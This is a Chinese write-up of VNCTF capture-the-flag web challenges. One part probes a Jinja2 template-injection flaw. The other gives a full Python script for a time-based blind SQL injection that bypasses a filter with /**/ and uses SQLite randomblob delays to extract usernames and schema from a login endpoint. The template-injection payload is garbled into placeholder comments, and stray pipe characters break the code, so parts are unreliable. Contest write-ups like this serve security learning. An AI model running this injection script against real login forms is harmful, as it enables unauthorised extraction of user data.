# vnctf 比赛部分复现
# web
# 学生姓名登记系统
存在 ssti 漏洞
判断是否在同一行里面(这样便于进行 ssti,打继承链)可以利用 python 中 jinja2 的表达式不论什么表达式在渲染模板时回自动回显表达式的值,我可以利用这个分析是不是在同一行里面来进行渲染,
{{a:=5}}%0a{{print(a)}}
如果是的话就会有 5 出现
不是就是原话了
发现是同一行上进行的渲染
那已知这里是同一个上下文,直接打继承链就行了。
<!--swig2-->%0a<!--swig3-->%0a<!--swig4-->%0a<!--swig5-->%0a<!--swig6-->%0a<!--swig7-->%0a<!--swig8-->%0a<!--swig9-->%0a<!--swig10-->%0a<!--swig11-->%0 | |
a<!--swig12-->%0a<!--swig13--> |
# 奶龙回家
waf,得用 /**/ 代替空格,使用 randomblob 来进行延时
最终脚本:
import requests | |
import time | |
url = 'http://node.vnteam.cn:46017/login' | |
flag = '' | |
for i in range(1,500): | |
low = 32 | |
high = 128 | |
mid = (low+high)//2 | |
while(low<high): | |
time.sleep(0.2) | |
payload = "- | |
1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(usern | |
ame))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(500000 | |
00)/**/else/**/0/**/end)/*".format(i,chr(mid)) | |
# payload = "- | |
1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql)) | |
/**/from/**/sqlite_master),{0},1)>'{1}')/**/then/**/randomblob(300 | |
000000)/**/else/**/0/**/end)/*".format(i,chr(mid)) | |
datas = { | |
"username":"123", | |
"password": payload | |
} | |
# print(datas) | |
start_time=time.time() | |
res = requests.post(url=url,json=datas) | |
end_time=time.time() | |
spend_time=end_time-start_time | |
if spend_time>=0.19: | |
low = mid+1 | |
else: | |
high = mid | |
mid = (low+high)//2 | |
if(mid ==32 or mid ==127): | |
break | |
flag = flag+chr(mid) | |
print(flag) | |
print('\n'+bytes.fromhex(flag).decode('utf-8')) |